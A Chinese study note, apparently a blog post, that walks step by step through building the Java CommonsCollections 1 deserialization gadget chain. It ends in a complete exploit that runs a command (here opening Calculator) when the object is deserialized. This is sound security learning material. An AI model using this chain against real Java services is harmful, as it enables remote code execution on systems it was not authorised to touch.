CC1番外

CC1番外

该笔记是记录观看b站白日梦组长Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili的记录,大佬牛逼!!!

初学者(比如我),建议反复刷该视频。

环境搭建

JDK:8u65

Maven:3.6.2

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.2.1</version>  
</dependency>

这里有一个坑,就是我们需要添加sun包,因为我们打开源码,很多地方的文件是 .class 文件,都是反编译代码,我们很难读懂,所以需要需要从网上下载 .java 文件。

下载地址是这个:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载zip文件,解压

在这里插入图片描述

复制下面sun包,注意目录

在这里插入图片描述

复制到jdk目录下

在这里插入图片描述

接着需要在idea里面,导入

在这里插入图片描述

我们随便点开sun目录下,发现是java文件,至此可以调试了。

在这里插入图片描述

链子分析

首先回顾一下反序列化漏洞的攻击思路:

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下:

在这里插入图片描述

我们知道宇宙万法的那个源头就是Transformer接口🐶

我么看一下谁实现了Transformer接口

在这里插入图片描述

我们需要寻找一个可以执行命令的地方,要不是反射,要不就是动态加载字节码的地方,最终出现的地方在InvokerTransformer,

在这里插入图片描述

我们看到这里可能存在漏洞点,尝试构造一下

import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {

    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
        invokerTransformer.transform(r);
    }

}

在这里插入图片描述

现在我们找到InvokerTransformer里面的transform方法是一个危险方法,所以我们往回找,谁的里面调用了这个方法。直接Find Usages ,注意,这里要找的是不同方法的内部调用transform

在这里插入图片描述

我们找到三个点,一个是TransformedMap,另一个是LazyMap,还有一个DefaultedMap

在这里插入图片描述

比如说LazyMap里面的get方法里面调用了transform,我们接下来就可以看看谁的readObject函数里面调用了get方法,如果有的话,就很好利用。

但是这里我们先看TransformedMap这个点:

TransformedMap类的checkSetValue方法调用了transform方法

在这里插入图片描述

那么什么是valueTransformer呢?直接看构造函数,可以看到是构造函数是protected,肯定是给自己调用的。接着理解一下这个构造函数是干嘛的?传进去一个 Map,一个key的Transformer,一个 value 的Transformer,应该是会对 Map 的key和 value 进行操作,操作已经写到Transformer里面了。

在这里插入图片描述

我们看一下是谁调用了这个构造方法,是静态方法decorate方法,

在这里插入图片描述

我们现在确定的是TransformedMap类的checkSetValue方法调用了transform方法(valueTransformer.transform(value)),那么如果把valueTransformer变为前面的InvokerTransformer,且 value 值可控,那么当执行checkSetValue方法的时候,不就能出发漏洞了吗。

HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorateMap = TransformedMap.decorate(map,null,invokerTransformer);

那么checkSetValue方法怎么调用呢?

在这里插入图片描述

我们点进去看,发现这是一个抽象类,是 TransformedMap 的父类——AbstractInputCheckedMapDecorator类。

调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntrysetValue() 实际上就是在 Map 中对一组 entry(键值对) 进行 setValue() 操作。

在这里插入图片描述

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

写一个demo,看看在遍历一个经过decorate之后的 Map,是否会触发setValue() ,进而走到checkSetValue()里面。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);

        for (Map.Entry entry : decorateMap.entrySet()) {
            entry.setValue(r);
        }


    }

}

可见,真的触发setValue() ,进而走到checkSetValue()里面了。

在这里插入图片描述

所以,如果有一个遍历Map的地方,并且调用了setValue(),即可构造poc。

**当然,如果能找到一个 readObject()**​ ** 里面调用了 setValue()​ ** 就太好了。

还是FindUsages,成功找到一个在readObject()方法里面调用setValue()的地方,

在这里插入图片描述

AnnotationInvocationHandler类的readObject函数,我们先看一下构造函数

构造函数传进去两个参数,一个是注解,另一个是一个 Map,这个 map 就是我们传进去的恶意的 map(decorateMap)。

在这里插入图片描述

readObject函数里面完美符合我们的条件。

在这里插入图片描述

但是我们需要注意的是:AnnotationInvocationHandler 类的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。还要满足两个if语句。

开始手写

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, invokerTransformer);
        //通过发射把decorateMap传进去
      	Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Target.class, decorateMap);
      
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这是理想情况,但是这样是不会触发漏洞的,为什么呢?

这里面有 3 个问题需要解决

  1. Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式。
  2. setValue() 的传参,是需要传进去一个 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西

在这里插入图片描述

  1. 两个if语句没有满足

解决问题 1

Runtime 类不能序列化,但是 Runtime.class是可以序列化的

在这里插入图片描述

我们可以通过反射执行Runtime.getRuntime()

public class Main {

    public static void main(String[] args) throws Exception {
        Class clazz = Runtime.class;
        Method getruntime = clazz.getMethod("getRuntime",null);
        Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
        Method execMethod = clazz.getMethod("exec", String.class);
        execMethod.invoke(r,"open -a Calculator");
    }
}

在这里插入图片描述

现在转换为InvokerTransformer版本

public class Main {

    public static void main(String[] args) throws Exception {
//        Class clazz = Runtime.class;
//        Method getruntime = clazz.getMethod("getRuntime",null);
//        Runtime r = (Runtime) getruntime.invoke(null,null);//由于是静态方法,所以第一个参数是 null,由于是无参的,所以第二个参数也为 null
//        Method execMethod = clazz.getMethod("exec", String.class);
//        execMethod.invoke(r,"open -a Calculator");

        Method getruntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getruntime);
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);
    }
}

在这里插入图片描述

这里看代码算是一个循环调用,即:

在这里插入图片描述

稍微理一理可以看到,上方主函数最后三行代码有一个共同点就是:

  • 格式都为 new InvokerTransformer().transform()
  • 后一个 transform() 方法里的参数都是前一个的结果

从代码的复用性角度来说,我们应当减少这种复用的工作量,于是我们使用 ChainedTransformer 这个类。

代码如下:

只需要在最开始的transform函数传一个Runtime.class即可。

public class Main {

    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        new ChainedTransformer(transformers).transform(Runtime.class);

    }
}

至此,第一个问题解决。

与之前的链子结合起来:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Target.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

但是我们还是弹不出计算器,是因为还有问题没解决。

调试一下看看为什么

在这里插入图片描述

看到memberType是空的,压根没有进去

在这里插入图片描述

解决问题 3

首先需要确保memberType不为空。

Target.class ——》type,一个注解

decorateMap——》memberValues

看源码可以得知,要想memberType不为空,传进去的type的值,注解必须有参数,不为空

内置的注解可以用的有Retention,Target都可以

在这里插入图片描述

注解参数为value,那么我们构造的 map 的key的值必须也为 “value”

在这里插入图片描述

package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Retention.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

终于可以进去了

在这里插入图片描述

问题 3 解决了。

解决问题 2

此时我们虽然进来了,但是checkSetValue(value)里面 value 的值还是不可控的,现在它的值是

在这里插入图片描述

下面这两句话其实是一样的

valueTransformer.transform(value);
chainedTransformer.transform(Runtime.class);

我们需要把 value传进去一个Runtime.class才行,怎么做呢?

这里引入ConstantTransformer,ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个 对象,并在transform方法将这个对象再返回。

只需要在构造poc的开头new ConstantTransformer(Runtime.class)`出来就行了。

这样,问题 2 也解决了。

我们重写一下整条exp

package demo1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class Main {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor dc = clazz.getDeclaredConstructor(Class.class, Map.class);
        dc.setAccessible(true);
        Object o = dc.newInstance(Retention.class, decorateMap);
        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值